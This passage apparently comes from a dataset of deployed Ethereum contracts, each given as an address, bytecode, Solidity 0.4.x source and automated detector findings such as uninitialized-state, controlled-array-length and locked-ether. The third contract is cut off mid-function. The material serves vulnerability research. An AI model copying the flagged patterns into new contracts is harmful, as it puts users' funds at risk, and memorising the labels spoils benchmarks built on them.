610cf282600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccf90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc482600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccf90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e9682600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce890919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561109057601054430360118190555060006002601154811515610fb857fe5b06141515610fcd576001601154036011819055505b62a0668060115410151561102257600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506110d3565b60115460125402601381905550601354600f5403601581905550601554600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540360148190555060145490506110d3565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600254600054600d54600f54020101905090565b60015481565b60005481565b601281565b6000806000806000806000339650600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054955061119842600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccf565b94506111a78562093a80611d06565b93506111b584600654611d21565b92506111c5868460646012611d5c565b91506111e486670de0b6b3a7640000848115156111de57fe5b04611ce8565b905061122f600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611ce8565b600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060105414156113d157600080fd5b8351600e54019150600d548211151561153757600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611536578351600e5401600e81905550600090505b835181101561152d57600f54600b6000868481518110151561146957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016016600086848151811015156114c557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061144b565b6001925061153c565b5b600092505b5050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6040805190810160405280600481526020017f55434f530000000000000000000000000000000000000000000000000000000081525081565b600e5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160a57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611689573d6000803e3d6000fd5b50565b6000339050683635c9adc5dea0000082101515156116a957600080fd5b81600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156116f757600080fd5b42600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611784600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611ce8565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611810600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611ccf565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118ae57600080fd5b80600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156118fa57600080fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561198757600080fd5b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a8b576010544303601181905550600060026011548115156119f457fe5b06141515611a09576001601154036011819055505b62a066806011541015611a8a5760115460125402601381905550601354600f5403601581905550601554600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403601481905550601454811115611a8957600080fd5b5b5b80600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b6000808373ffffffffffffffffffffffffffffffffffffffff1614158015611c13575060008273ffffffffffffffffffffffffffffffffffffffff1614155b1515611c1e57600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b6000806010541415611cbe5760009050611cc6565b601054430390505b90565b60105481565b6000828211151515611cdd57fe5b818303905092915050565b6000808284019050838110151515611cfc57fe5b8091505092915050565b6000808284811515611d1457fe5b0490508091505092915050565b6000806000841415611d365760009150611d55565b8284029050828482811515611d4757fe5b04141515611d5157fe5b8091505b5092915050565b600080600060018401600a0a86029150600a60058684811515611d7b57fe5b0401811515611d8657fe5b049050670de0b6b3a7640000818802811515611d9e57fe5b04925050509493505050505600a165627a7a723058207907b822fe76efb3ea8a75afbb319ef0e346fb9ba1b25e76cb9bba3e41d5b6630029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
10,458
0xd959fc9f120a598ef0e81df28df2aa3410cac965
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ // function renounceOwnership() public onlyOwner { // emit OwnershipRenounced(owner); // owner = address(0); // } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract LandTokenInterface { //ERC721 function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _landId) public view returns (address _owner); function transfer(address _to, uint256 _landId) public; function approve(address _to, uint256 _landId) public; function takeOwnership(uint256 _landId) public; function totalSupply() public view returns (uint); function owns(address _claimant, uint256 _landId) public view returns (bool); function allowance(address _claimant, uint256 _landId) public view returns (bool); function transferFrom(address _from, address _to, uint256 _landId) public; function createLand(address _owner) external returns (uint); } interface tokenRecipient { function receiveApproval(address _from, address _token, uint _value, bytes _extraData) external; function receiveCreateAuction(address _from, address _token, uint _landId, uint _startPrice, uint _duration) external; function receiveCreateAuctionFromArray(address _from, address _token, uint[] _landIds, uint _startPrice, uint _duration) external; } contract LandBase is Ownable { using SafeMath for uint; event Transfer(address indexed from, address indexed to, uint256 landId); event Approval(address indexed owner, address indexed approved, uint256 landId); event NewLand(address indexed owner, uint256 landId); struct Land { uint id; } // Total amount of lands uint256 private totalLands; // Incremental counter of lands Id uint256 private lastLandId; //Mapping from land ID to Land struct mapping(uint256 => Land) public lands; // Mapping from land ID to owner mapping(uint256 => address) private landOwner; // Mapping from land ID to approved address mapping(uint256 => address) private landApprovals; // Mapping from owner to list of owned lands IDs mapping(address => uint256[]) private ownedLands; // Mapping from land ID to index of the owner lands list // т.е. ID земли => порядковый номер в списке владельца mapping(uint256 => uint256) private ownedLandsIndex; modifier onlyOwnerOf(uint256 _landId) { require(owns(msg.sender, _landId)); _; } /** * @dev Gets the owner of the specified land ID * @param _landId uint256 ID of the land to query the owner of * @return owner address currently marked as the owner of the given land ID */ function ownerOf(uint256 _landId) public view returns (address) { return landOwner[_landId]; } function totalSupply() public view returns (uint256) { return totalLands; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { return ownedLands[_owner].length; } /** * @dev Gets the list of lands owned by a given address * @param _owner address to query the lands of * @return uint256[] representing the list of lands owned by the passed address */ function landsOf(address _owner) public view returns (uint256[]) { return ownedLands[_owner]; } /** * @dev Gets the approved address to take ownership of a given land ID * @param _landId uint256 ID of the land to query the approval of * @return address currently approved to take ownership of the given land ID */ function approvedFor(uint256 _landId) public view returns (address) { return landApprovals[_landId]; } /** * @dev Tells whether the msg.sender is approved for the given land ID or not * This function is not private so it can be extended in further implementations like the operatable ERC721 * @param _owner address of the owner to query the approval of * @param _landId uint256 ID of the land to query the approval of * @return bool whether the msg.sender is approved for the given land ID or not */ function allowance(address _owner, uint256 _landId) public view returns (bool) { return approvedFor(_landId) == _owner; } /** * @dev Approves another address to claim for the ownership of the given land ID * @param _to address to be approved for the given land ID * @param _landId uint256 ID of the land to be approved */ function approve(address _to, uint256 _landId) public onlyOwnerOf(_landId) returns (bool) { require(_to != msg.sender); if (approvedFor(_landId) != address(0) || _to != address(0)) { landApprovals[_landId] = _to; emit Approval(msg.sender, _to, _landId); return true; } } function approveAndCall(address _spender, uint256 _landId, bytes _extraData) public returns (bool) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _landId)) { spender.receiveApproval(msg.sender, this, _landId, _extraData); return true; } } function createAuction(address _auction, uint _landId, uint _startPrice, uint _duration) public returns (bool) { tokenRecipient auction = tokenRecipient(_auction); if (approve(_auction, _landId)) { auction.receiveCreateAuction(msg.sender, this, _landId, _startPrice, _duration); return true; } } function createAuctionFromArray(address _auction, uint[] _landIds, uint _startPrice, uint _duration) public returns (bool) { tokenRecipient auction = tokenRecipient(_auction); for (uint i = 0; i < _landIds.length; ++i) require(approve(_auction, _landIds[i])); auction.receiveCreateAuctionFromArray(msg.sender, this, _landIds, _startPrice, _duration); return true; } /** * @dev Claims the ownership of a given land ID * @param _landId uint256 ID of the land being claimed by the msg.sender */ function takeOwnership(uint256 _landId) public { require(allowance(msg.sender, _landId)); clearApprovalAndTransfer(ownerOf(_landId), msg.sender, _landId); } /** * @dev Transfers the ownership of a given land ID to another address * @param _to address to receive the ownership of the given land ID * @param _landId uint256 ID of the land to be transferred */ function transfer(address _to, uint256 _landId) public onlyOwnerOf(_landId) returns (bool) { clearApprovalAndTransfer(msg.sender, _to, _landId); return true; } /** * @dev Internal function to clear current approval and transfer the ownership of a given land ID * @param _from address which you want to send lands from * @param _to address which you want to transfer the land to * @param _landId uint256 ID of the land to be transferred */ function clearApprovalAndTransfer(address _from, address _to, uint256 _landId) internal { require(owns(_from, _landId)); require(_to != address(0)); require(_to != ownerOf(_landId)); clearApproval(_from, _landId); removeLand(_from, _landId); addLand(_to, _landId); emit Transfer(_from, _to, _landId); } /** * @dev Internal function to clear current approval of a given land ID * @param _landId uint256 ID of the land to be transferred */ function clearApproval(address _owner, uint256 _landId) private { require(owns(_owner, _landId)); landApprovals[_landId] = address(0); emit Approval(_owner, address(0), _landId); } /** * @dev Internal function to add a land ID to the list of a given address * @param _to address representing the new owner of the given land ID * @param _landId uint256 ID of the land to be added to the lands list of the given address */ function addLand(address _to, uint256 _landId) private { require(landOwner[_landId] == address(0)); landOwner[_landId] = _to; uint256 length = ownedLands[_to].length; ownedLands[_to].push(_landId); ownedLandsIndex[_landId] = length; totalLands = totalLands.add(1); } /** * @dev Internal function to remove a land ID from the list of a given address * @param _from address representing the previous owner of the given land ID * @param _landId uint256 ID of the land to be removed from the lands list of the given address */ function removeLand(address _from, uint256 _landId) private { require(owns(_from, _landId)); uint256 landIndex = ownedLandsIndex[_landId]; // uint256 lastLandIndex = balanceOf(_from).sub(1); uint256 lastLandIndex = ownedLands[_from].length.sub(1); uint256 lastLand = ownedLands[_from][lastLandIndex]; landOwner[_landId] = address(0); ownedLands[_from][landIndex] = lastLand; ownedLands[_from][lastLandIndex] = 0; // Note that this will handle single-element arrays. In that case, both landIndex and lastLandIndex are going to // be zero. Then we can make sure that we will remove _landId from the ownedLands list since we are first swapping // the lastLand to the first position, and then dropping the element placed in the last position of the list ownedLands[_from].length--; ownedLandsIndex[_landId] = 0; ownedLandsIndex[lastLand] = landIndex; totalLands = totalLands.sub(1); } function createLand(address _owner, uint _id) onlyOwner public returns (uint) { require(_owner != address(0)); uint256 _landId = lastLandId++; addLand(_owner, _landId); //store new land data lands[_landId] = Land({ id : _id }); emit Transfer(address(0), _owner, _landId); emit NewLand(_owner, _landId); return _landId; } function createLandAndAuction(address _owner, uint _id, address _auction, uint _startPrice, uint _duration) onlyOwner public { uint id = createLand(_owner, _id); require(createAuction(_auction, id, _startPrice, _duration)); } function owns(address _claimant, uint256 _landId) public view returns (bool) { return ownerOf(_landId) == _claimant && ownerOf(_landId) != address(0); } function transferFrom(address _from, address _to, uint256 _landId) public returns (bool) { require(_to != address(this)); require(allowance(msg.sender, _landId)); clearApprovalAndTransfer(_from, _to, _landId); return true; } } contract ArconaDigitalLand is LandBase { string public constant name = " Arcona Digital Land"; string public constant symbol = "ARDL"; function() public payable{ revert(); } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e357806323b872dd1461020a5780632a6dd48f146102345780635aff457f1461026857806361beb1d7146102d45780636352211e146102fe57806370a0823114610316578063818d4b5d146103375780638da5cb5b1461035b57806395d89b41146103705780639805d7d214610385578063a9059cbb146103f6578063b2e6ceeb1461041a578063cae9ca5114610434578063db165a761461049d578063ddc6a171146104c1578063e261f1e5146104e5578063f2fde38b146104fd578063f4c2ebdd1461051e575b600080fd5b34801561012d57600080fd5b5061013661054f565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cf600160a060020a0360043516602435610586565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b506101f861065d565b60408051918252519081900360200190f35b34801561021657600080fd5b506101cf600160a060020a0360043581169060243516604435610664565b34801561024057600080fd5b5061024c6004356106a6565b60408051600160a060020a039092168252519081900360200190f35b34801561027457600080fd5b506040805160206004602480358281013584810280870186019097528086526101cf968435600160a060020a0316963696604495919490910192918291850190849080828437509497505084359550505060209092013591506106c19050565b3480156102e057600080fd5b506101cf600160a060020a03600435166024356044356064356107e8565b34801561030a57600080fd5b5061024c60043561089b565b34801561032257600080fd5b506101f8600160a060020a03600435166108b6565b34801561034357600080fd5b506101cf600160a060020a03600435166024356108d1565b34801561036757600080fd5b5061024c610915565b34801561037c57600080fd5b50610136610924565b34801561039157600080fd5b506103a6600160a060020a036004351661095b565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103e25781810151838201526020016103ca565b505050509050019250505060405180910390f35b34801561040257600080fd5b506101cf600160a060020a03600435166024356109c7565b34801561042657600080fd5b506104326004356109ea565b005b34801561044057600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cf948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a159650505050505050565b3480156104a957600080fd5b506101f8600160a060020a0360043516602435610b2d565b3480156104cd57600080fd5b506101cf600160a060020a0360043516602435610c12565b3480156104f157600080fd5b506101f8600435610c38565b34801561050957600080fd5b50610432600160a060020a0360043516610c4a565b34801561052a57600080fd5b50610432600160a060020a036004358116906024359060443516606435608435610c6a565b60408051808201909152601481527f204172636f6e61204469676974616c204c616e64000000000000000000000000602082015281565b60008161059333826108d1565b151561059e57600080fd5b600160a060020a0384163314156105b457600080fd5b60006105bf846106a6565b600160a060020a03161415806105dd5750600160a060020a03841615155b1561065657600083815260056020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03881690811790915582518681529251909233927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3600191505b5092915050565b6001545b90565b6000600160a060020a03831630141561067c57600080fd5b6106863383610c12565b151561069157600080fd5b61069c848484610cad565b5060019392505050565b600090815260056020526040902054600160a060020a031690565b600084815b8551811015610703576106f08787838151811015156106e157fe5b90602001906020020151610586565b15156106fb57600080fd5b6001016106c6565b6040517fc89e528e00000000000000000000000000000000000000000000000000000000815233600482018181523060248401819052606484018990526084840188905260a0604485019081528a5160a48601528a51600160a060020a0388169563c89e528e95948d938d938d9360c401906020808801910280838360005b8381101561079a578181015183820152602001610782565b505050509050019650505050505050600060405180830381600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b5060019a9950505050505050505050565b6000846107f58186610586565b1561089257604080517f100a0ed10000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810187905260648101869052608481018590529051600160a060020a0383169163100a0ed19160a480830192600092919082900301818387803b15801561087557600080fd5b505af1158015610889573d6000803e3d6000fd5b50505050600191505b50949350505050565b600090815260046020526040902054600160a060020a031690565b600160a060020a031660009081526006602052604090205490565b600082600160a060020a03166108e68361089b565b600160a060020a031614801561090e575060006109028361089b565b600160a060020a031614155b9392505050565b600054600160a060020a031681565b60408051808201909152600481527f4152444c00000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0381166000908152600660209081526040918290208054835181840281018401909452808452606093928301828280156109bb57602002820191906000526020600020905b8154815260200190600101908083116109a7575b50505050509050919050565b6000816109d433826108d1565b15156109df57600080fd5b61069c338585610cad565b6109f43382610c12565b15156109ff57600080fd5b610a12610a0b8261089b565b3383610cad565b50565b600083610a228185610586565b15610b25576040517f56826ee60000000000000000000000000000000000000000000000000000000081523360048201818152306024840181905260448401889052608060648501908152875160848601528751600160a060020a038716956356826ee695948b938b939192909160a490910190602085019080838360005b83811015610ab9578181015183820152602001610aa1565b50505050905090810190601f168015610ae65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050600191505b509392505050565b600080548190600160a060020a03163314610b4757600080fd5b600160a060020a0384161515610b5c57600080fd5b506002805460018101909155610b728482610d66565b6040805160208181018352858252600084815260038252838120925190925582518481529251600160a060020a038816937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a3604080518281529051600160a060020a038616917ff81b1d2ee455f4cd7d6958269606dc9daa4c68e2e0f7965ae36887d2008d65a7919081900360200190a29392505050565b600082600160a060020a0316610c27836106a6565b600160a060020a0316149392505050565b60036020526000908152604090205481565b600054600160a060020a03163314610c6157600080fd5b610a1281610e03565b60008054600160a060020a03163314610c8257600080fd5b610c8c8686610b2d565b9050610c9a848285856107e8565b1515610ca557600080fd5b505050505050565b610cb783826108d1565b1515610cc257600080fd5b600160a060020a0382161515610cd757600080fd5b610ce08161089b565b600160a060020a0383811691161415610cf857600080fd5b610d028382610e80565b610d0c8382610eff565b610d168282610d66565b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600081815260046020526040812054600160a060020a031615610d8857600080fd5b506000818152600460209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03871690811790915583526006825280832080546001818101835591855283852081018690558585526007909352922081905581549091610dfb9190611076565b600155505050565b600160a060020a0381161515610e1857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b610e8a82826108d1565b1515610e9557600080fd5b6000818152600560209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916905580518481529051600160a060020a038616927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35050565b6000806000610f0e85856108d1565b1515610f1957600080fd5b600084815260076020908152604080832054600160a060020a0389168452600690925290912054909350610f5490600163ffffffff61108516565b600160a060020a038616600090815260066020526040902080549193509083908110610f7c57fe5b6000918252602080832090910154868352600482526040808420805473ffffffffffffffffffffffffffffffffffffffff19169055600160a060020a0389168452600690925291208054919250829185908110610fd557fe5b6000918252602080832090910192909255600160a060020a038716815260069091526040812080548490811061100757fe5b6000918252602080832090910192909255600160a060020a038716815260069091526040902080549061103e906000198301611097565b5060008481526007602052604080822082905582825290208390556001805461106c9163ffffffff61108516565b6001555050505050565b60008282018381101561090e57fe5b60008282111561109157fe5b50900390565b8154818355818111156110bb576000838152602090206110bb9181019083016110c0565b505050565b61066191905b808211156110da57600081556001016110c6565b50905600a165627a7a72305820e881f11dc10bc6a2e6de65ac5ff10a7a9b573302ef3136a98a4044b6816cd0e40029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,459
0x6512fF8f46FF382F3835b95645EF40c2E3BDe58e
/** *Submitted for verification at Etherscan.io on 2021-06-16 */ pragma solidity ^0.4.23; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns 